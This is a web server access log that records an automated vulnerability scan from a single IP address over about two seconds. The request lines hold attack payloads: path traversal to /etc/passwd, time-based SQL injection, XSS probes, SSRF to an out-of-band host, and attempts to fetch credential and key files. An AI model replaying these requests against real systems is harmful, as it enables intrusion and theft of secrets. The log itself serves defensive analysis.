[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /dms/out/out.Login.php?referuri=%2Fout%2Fout.ViewFolder.php HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?xmlcontrol=body%20onload=alert(document.domain) HTTP/1.1" 3426
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sitecore/' HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /accounts/login?next=/admin/ HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /servlet/taskProc HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Authentication/Login HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sidekiq HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /-/media/doo-doo.ashx HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sf/start HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //openam/UI/ HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET http:/10.0.0.1/ HTTP/1.1" 226
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sitecore/admin/login.aspx HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api.tar.z HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?page=../../../../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /sitemap.xml?offset=1;SELECT%20IF((SLEEP(6)),1,2356) HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //blog/phpmyadmin/ HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /etc.json/FNZ.css HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //environments/prod/common/config/main-local.php.~ HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ruby/config/storage.yml HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/force-download.php?file=../wp-config.php HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?s=/admin/Index/index HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /data/sqlite3.db HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?_csrf_token_645a83a41868941e4692aa31e7235f2=6a50886006f02202a6dac5cfa07bcbfb1e2a6e84&destination=zbuip%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3Ejgoihbmmygljgoihbmmygl&logMeIn=Login&memberID=admin&memberPassWord=password&p=member HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //test.php HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Uploads/380DIWtH7WabFB1uh4xBTCrZn79.php HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sfmc/login HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sftp-config.json HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /module.php/core/frontpage_welcome.php HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /shop/ HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /secenrol/ HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /slurm/ HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /smartbi/vision/RMIServlet?windowUnloading&%7a%44%70%34%57%70%34%67%52%69%70%2b%69%49%70%69%47%5a%70%34%44%52%77%36%2b%2f%4a%56%2f%75%75%75%37%75%4e%66%37%4e%66%4e%31%2f%75%37%31%27%2f%4e%4f%4a%4d%2f%4e%4f%4a%4e%2f%75%75%2f%4a%54 HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //a.php HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /redmine/config/initializers/secret_token.rb HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /keyinfo.html HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sitecore/login/default.aspx HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.github/workflows/docker.yml HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /CDGServer3/SystemConfig HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Admin/frmWelcome.aspx HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /apt/v1/context HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //xampp/phpmyadmin/scripts/setup.php HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //e/class/config.php.old HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jmx-console/ HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /config.html HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?s=/install/index/index HTTP/1.1" 196
[09/Jan/2026:10:54:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webmail/logs/sendmail HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /smartbi/vision/RMIServlet HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /smokeping/ HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Manager/ HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/LHCGWPRD_1/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup/config.xml HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.snyk HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/default/ HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/database/10 HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //.jenkins.sh HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /lan.html HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/top?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /test/config/secrets.yml HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Solar_Image.php?mode=resize&fname=test%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /aplicacao/routes/configs/routes.ini HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /solr/ HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /SolarWinds/InformationService/v3/Json/Query?query=SELECT+Uri+FROM+Orion.Pollers+ORDER+BY+PollerID+WITH+ROWS+1+TO+3+WITH+TOTALROWS HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ftpsync.settings HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /settings.php.dist HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /psp/CT920/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /siteminderagent/forms/smaceauth.fcc?USERNAME=\\u003cimg\\u0020src\\u003dx\\u0020onerror\\u003d\\u0022confirm(document.domain)\\u0022\\u003e&SMAUTHREASON=7 HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Orion/Login.aspx HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.putty/my.ppk HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/ HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Solar_Menu.php HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /pacs/nocache.php?path=%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cWindows%5cwin.ini HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /sfsites/aura HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //phpldapadmin/cmd.php?cmd=template_engine&dn=%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(document.domain)%3C/script%3E&meth=ajax&server_id=1 HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api.tgz HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /DLPCenter/loginform.sms HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //e/config/config.php.old HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api.db HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/sql_config.php.old HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api.jar HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/bbscache/config.php.old HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api.sqlite HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/config/parameters.yml.old HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api.sqlitedb HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /servicedesk/customer/portal/10/user/login HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /m_login.htm HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /3fBLkd.jsp HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/components/suggestions?recentlyBrowsed HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //graphql-console HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/config/parameters.php.old HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/unauth?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /log/errors.log HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET https://10.0.0.1/ HTTP/1.1" 226
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /api/authentication/login HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/CCHIPRD_2/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //forum/phpmyadmin/ HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /caches HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/database/10 HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /service-account-credentials.json HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /routes/configs/routes.ini HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sgms/auth HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /auditevents HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /services/collector/health HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /index.php HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /configprops HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login.xhtml?faces-redirect=true HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /render.html?url=https://oast.live HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //.travis.sh HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api_smartapp/storage/ HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /s/aura HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.github/workflows/ci-generated.yml HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /sitemap.xml?offset=1;SELECT%20IF((SLEEP(16)),1,2356) HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InformationService/v3/Json/Query?query=SELECT+Uri+FROM+Orion.Pollers+ORDER+BY+PollerID+WITH+ROWS+1+TO+3+WITH+TOTALROWS HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /config/development.sphinx.conf HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ecrire/?exec=install HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /settings.php.old HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /host.key HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /features HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jmx-console/ HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/GetSrvInfo.exe HTTP/1.1" 199
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /php/ping.php HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /flyway HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /process/login.php HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/nonexistent:31337!/logback.xml HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /dump HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //common/config/main-local.php.~ HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /users/login HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /en-US/account/login?return_to=%2Fen-US%2Faccount%2F HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /data/database.db HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /railsapp/config/storage.yml HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /index.php HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sessions/new HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login.do HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webconsole/webpages/login.jsp HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/pma/server_import.php HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /health HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.putty/putty.ppk HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/components/search_projects HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /error HTTP/1.1" 238
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /SOGo HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webmail/logs/sendmail.log HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /auth.html HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd HTTP/1.1" 199
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /etc.json/FNZ.html HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /SphinxAuth/Account/Login HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /actuator/env HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /conditions HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /env HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /en-US/account/login HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /RDWeb HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/system HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /vision/RMIServlet?windowUnloading&%7a%44%70%34%57%70%34%67%52%69%70%2b%69%49%70%69%47%5a%70%34%44%52%77%36%2b%2f%4a%56%2f%75%75%75%37%75%4e%66%37%4e%66%4e%31%2f%75%37%31%27%2f%4e%4f%4a%4d%2f%4e%4f%4a%4e%2f%75%75%2f%4a%54 HTTP/1.1" 196
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/loghandler.php?ajax=251&file=/mnt/old-root/etc/passwd HTTP/1.1" 199
[09/Jan/2026:10:54:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/jarrewrite.sh HTTP/1.1" 199
